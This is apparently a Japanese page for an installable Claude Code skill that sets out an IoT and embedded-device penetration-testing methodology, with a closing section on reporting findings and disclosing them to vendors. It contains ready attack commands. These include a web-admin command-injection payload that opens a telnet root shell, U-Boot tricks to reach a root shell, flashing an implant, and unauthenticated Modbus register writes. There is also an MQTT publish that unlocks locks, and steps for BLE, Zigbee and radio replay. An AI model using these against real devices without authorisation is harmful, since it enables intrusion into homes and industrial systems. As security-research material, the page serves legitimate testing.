offensive-iot について
セキュリティ研究者向けのIoT・組み込み機器ペネトレーションテスト手法です。ハードウェア調査、ファームウェア解析、実行時検査、クラウドや無線インターフェースを扱います。
主な機能
- 01SoC、フラッシュ、デバッグインターフェースの調査
- 02デバイスファームウェアの抽出と解析
- 03ブートローダー、コンソール、サービスの検査
- 04無線および産業用プロトコルの評価
- 05コンパニオンアプリとクラウドAPIの調査
活用シーン
- 01一般向けIoT機器のファームウェアとデフォルト認証情報の監査
- 02デバッグインターフェースとセキュアブートの検査
- 03無線機器やOTプロトコルのアクセス制御確認
- 04デバイス、アプリ、クラウド間のセキュリティ問題の追跡
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-iotインストール後、Claude Code で/offensive-iotを入力して読み込まれたか確認します。
詳細
IoT と組み込み機器 — 攻撃テストの手法
クイックワークフロー
- デバイスを物理的に調査する — SoC、フラッシュメモリ、デバッグインターフェース、無線機能を特定します
- ファームウェアを入手する — ベンダーからのダウンロード、OTA のキャプチャ、ハードウェアダンプ、またはチップオフで入手します
- 展開して分析する — ファイルシステム、サービス、シークレット、デフォルト認証情報、脆弱なコンポーネントを調べます
- 実行時アクセスを確立する — UART シェル、デフォルト認証情報での telnet/SSH、エクスプロイトチェーンを利用します
- ピボットする — コンパニオンアプリ、クラウド API、メッシュ/無線経由の近隣デバイスへ移ります
ハードウェアの偵察
PCB の検査
- マーキングから SoC を特定します(Realtek、Mediatek、Espressif、Broadcom、Allwinner、NXP、STM32 など)
- フラッシュメモリ を特定します(8 ピン SOIC = SPI NOR、BGA = eMMC、TSOP = NAND)
- デバッグヘッダー を探します:TX/RX/GND/VCC のパッド(UART)、4~10 ピン(JTAG)、4 ピン(SWD)
TX、RX、TCK、TMS、TDO、TDI、RST、BOOTとラベル付けされたテストポイントを探します
ツール
| ツール | 用途 |
|---|---|
| マルチメーター | 接続前に GND と VCC の電源レールを特定 |
| ロジックアナライザー(Saleae、DSLogic) | UART のボーレート、SPI クロックを調べ、プロトコルを特定 |
| USB-UART(FT232、CP2102) | UART コンソール |
| Bus Pirate/Glasgow | UART、SPI、I2C、JTAG 汎用 |
| J-Link/Black Magic Probe | JTAG/SWD MCU デバッグ |
| CH341A プログラマー | 安価な SPI フラッシュダンプ用 |
| XGecu T48 | 最新の汎用プログラマー(NAND/eMMC/SPI) |
| ChipQuik/ホットエアー | チップオフによる取り外し |
UART の検出
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
echo "=== $b ==="
timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log
次のものを探します:U-Boot コンソール(多くの場合 Hit any key のカウントダウン)、Linux の初期化メッセージ、コンソール上の root シェル、ログインプロンプト。
ブートローダーコンソールへの割り込み
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot: 0
=> printenv # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot # Linux comes up to root shell, no login
U-Boot がロックされている場合は、次を試します:
CONFIG_DELAY_AUTOBOOT_KEYEDキーワード(ベンダー固有)Ctrl+C/Ctrl+B/特定のマジック文字列- U-Boot のバージョンチェック/署名チェックにグリッチを発生させます(フォールトインジェクションを参照)
フラッシュのダンプ
SPI NOR(一般的なコンシューマー向け IoT)
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin
# Verify
file firmware.bin && binwalk firmware.bin
SoC が読み出しを妨害する場合:SPI チップを取り外し、ソケット上でダンプしてから、はんだ付けし直します。
eMMC/NAND
eMMC は取り外してから読み取ります:BGA-153/169 から SD アダプター(安価な eBay 製品)に接続し、USB SD リーダーを使用します。
NAND ではビット反転と ECC の処理が必要です。抽出後の処理には nanddump/yaffshiv/ubireader を使用します。
OTA のキャプチャ
多くのデバイスは HTTP(S) 経由でファームウェアを取得します。デバイスに対して MITM を行います:
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS
URL をキャプチャし、直接ダウンロードして解析します。
ファームウェア分析
初期トリアージ
binwalk -Me firmware.bin # Extract recursively
binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
ファイルシステムのマウント
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin
# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs
組み込み Linux の手早い成果
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"
# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/
# Setuid binaries
find rootfs -perm -4000 -type f
# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "
# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
CGI/Web 管理画面の監査
GoAhead、Boa、mini_httpd は、放置されたコードベースであり、ほぼすべての CGI パラメーターでコマンドインジェクションが可能です。
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi
よくあるパターン:
- クエリ文字列の引数を連結して
system()/popen()に渡す sprintfの後にsystemを呼び出す — 簡単にコマンドインジェクションが可能- Cookie と平文ファイルを比較して認証を確認する(競合/リプレイ)
実行時エクスプロイト
コンソール/Telnet のデフォルト認証情報
デバイスの種類ごとに次を試します:admin/admin、root/root、root/<empty>、admin/password、support/support、cisco/cisco、ユーザー名/パスワードにベンダーブランド。必ず root/<serial number> も試してください — 多くのベンダーはデバイスごとのデフォルト値を使用します。
Web 管理画面のコマンドインジェクション
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
MTD への書き込み(実行時に再フラッシュ)
root シェルを取得できた場合:
cat /proc/mtd # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
/dev/mem
CONFIG_STRICT_DEVMEM がない古いカーネルでは、/dev/mem を介して物理メモリを読み書きできます — root 権限があれば、システム全体を完全に侵害できます。
ブートローダー/セキュアブート攻撃
U-Boot の手早い回避策
setenv bootargs ${bootargs} init=/bin/shsetenv preboot 'echo 1 > /sys/...'(カーネル起動前にコマンドを実行)tftpboot— ネットワーク経由で攻撃者のカーネルを読み込む- UART 経由で
loadbを使ってアップロードした、メモリー上のイメージをbootmで起動する
セキュアブート
最新のデバイスでは、署名済みブートローダー/カーネルを検証します。回避方法:
- ダウングレード:既知のカーネルレベル CVE がある古い署名済みイメージをフラッシュする
- ロールバック回避:アンチロールバックヒューズが焼き込まれていなければ、古い署名済みイメージをフラッシュする
- 鍵の抽出:ベンダーのツールを使って OTP/ヒューズの内容をダンプし、署名鍵を復元する
- フォールトインジェクション:署名チェック命令にグリッチを発生させる(下記を参照)
フォールトインジェクション(電圧/クロックグリッチ)
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
1. Locate target instruction window via UART timing or power trace
2. Apply glitch (V drop / EM pulse) at that offset
3. Sweep delay and width; success = corrupted check, accepted unsigned image
RTOS のターゲット
| RTOS | 備考 |
|---|---|
| FreeRTOS | 多くの場合、MMU のない単一バイナリです → スタックオーバーフロー → RIP を直接制御できます |
| Zephyr | MMU/MPU はオプションです。分離が実際に有効になっているか確認してください |
| ThreadX | 現在は Microsoft 製で、ほとんどがクローズドです |
| MicroEJ / Mbed OS | Java/C の混在 — 型の混同と JNI ブリッジ |
| ESP-IDF (Espressif) | Wi-Fi/BLE スタック、OTA チェーン、secure boot v2 |
| QNX | 古いバージョンでは、シリアル経由の pdebug シェルで root 権限を取得できます |
MCU のリバースエンジニアリング
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"
# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"
# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)
ワイヤレスプロトコル
Bluetooth Low Energy (BLE)
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"
# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
攻撃対象領域:認証なしのキャラクター特性書き込み、ペアリングのダウングレード(「Just Works」を強制)、セッションキーの再利用、アプリ側で TLS 相当の保護がないこと。
Zigbee / Thread / Matter
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap
# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0
Touchlink コミッショニング:既知のトランスポートキーが流通しています(0x9F559A553B7A6B2C…)。多くの一般消費者向けデバイスは、近くにあるあらゆる無線機器からの Touchlink コミッショニングを受け入れます。
Z-Wave
S0 セキュリティでは固定のネットワークキー導出方式が使われますが、S2 ではこれが修正されています。現在も S0 を使用している古い電球/ロックは、Z-Force/EZ-Wave で攻撃できます。
LoRaWAN
- ABP でプロビジョニングされたデバイス:キーは一度フラッシュされると、ローテーションされません
- フレームカウンターがリセットされると、Join リクエストがリプレイされる可能性があります
- 分析には
LoRaPWN、ChirpStackを使用します
サブGHz帯(433 / 868 / 915 MHz)
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A # auto-decoder for many devices
gqrx # interactive
# Capture, analyze in Inspectrum, replay with hackrf_transfer
ターゲット:ガレージドア(KeeLoq ローリングコード解析)、スマートプラグ(固定コードならリプレイが容易)、タイヤ空気圧監視システム(TPMS スプーフィング)、産業用テレメトリー。
ICS/OT プロトコル
Modbus
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1) # No auth in the protocol
BACnet(ビルオートメーション)
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments
OPC-UA
最新の OPC-UA にはセキュリティプロファイルがありますが、多くの導入環境では互換性のために None が使われています。以下をテストしてください。
- アドレス空間の匿名ブラウジング(情報漏えい)
- 脆弱な認証情報を使ったユーザー名/パスワードのエンドポイント
- 証明書ベースだが、自己署名証明書を受け入れる構成
S7(Siemens)
Snap7 ライブラリでは、PLC の起動/停止や DB の読み取り/書き込みコマンドが、歴史的に認証されていません。Stuxnet の攻撃対象領域です。
MQTT/CoAP
MQTT の匿名サブスクライブ
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'
多くのクラウドブローカーでは、デフォルトでトピック ACL が制限されていません。空の認証情報で接続し、# をサブスクライブしてデバイスコマンドをリプレイします。
CoAP
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
DTLS の設定ミスがよく見られます(ファームウェア内に PSK があり、ローテーションされないなど)。
コンパニオンモバイルアプリ/クラウド API
今日の IoT 脆弱性の多くは、デバイス自体ではなく、クラウドとコンパニオンアプリの組み合わせに存在します。
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk
# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/
# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app
クラウド API では、以下をテストしてください。
- シリアル番号だけでデバイスを登録できる(出荷済みのデバイスを乗っ取る)
/devices/<id>エンドポイントの IDOR- 認証なしでアクセスできるライブストリーム URL(RTSP/WebRTC トークン)
- 攻撃者がアップロードした Blob を受け入れるファームウェア署名エンドポイント(まれですが、壊滅的な影響があります)
デバイス間のピボット
- LAN 上のデバイスを 1 台侵害 → 近隣デバイスに ARP/DHCP ポイズニングを行う
- メッシュプロトコルのブリッジ(Zigbee コーディネーター、Z-Wave ハブ) → 隣接デバイスを制御する
- BLE のセントラル役を切り替える → 正規のハブとして周辺機器に直接通信する
- クラウドアカウントを侵害 → アカウントにリンクされたすべてのデバイスを同時に侵害する
報告時の記録事項
各発見事項について、以下を記録してください。
- 影響範囲:モデル、ファームウェアのバージョン、地域、判明している場合はシリアル番号の範囲
- 再現手順:物理的またはリモートのどちらか、悪用にかかる時間
- 前提条件:物理アクセスが必要か。同じネットワーク上にいる必要があるか。認証済みのクラウドアカウントが必要か
- 悪用後の状態:永続的か。デバイス間に及ぶか。クラウド側に影響するか
- ベンダーへの開示経路:PSIRT の連絡先、ICS-CERT、CVE 割り当てのための MITRE
エンゲージメントのチェックリスト
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure
主な参考資料
- MITRE ATT&CK for ICS — TA0108(初期アクセス)、TA0104(実行)
- OWASP ISVS / IoT Top 10
- Embedded Security CTF (microcorruption.com) — MCU の悪用を練習
- IoT Hackers Handbook (Aditya Gupta) — 標準的な方法論
- CISA ICS-CERT の勧告フィード
- 出典:https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.md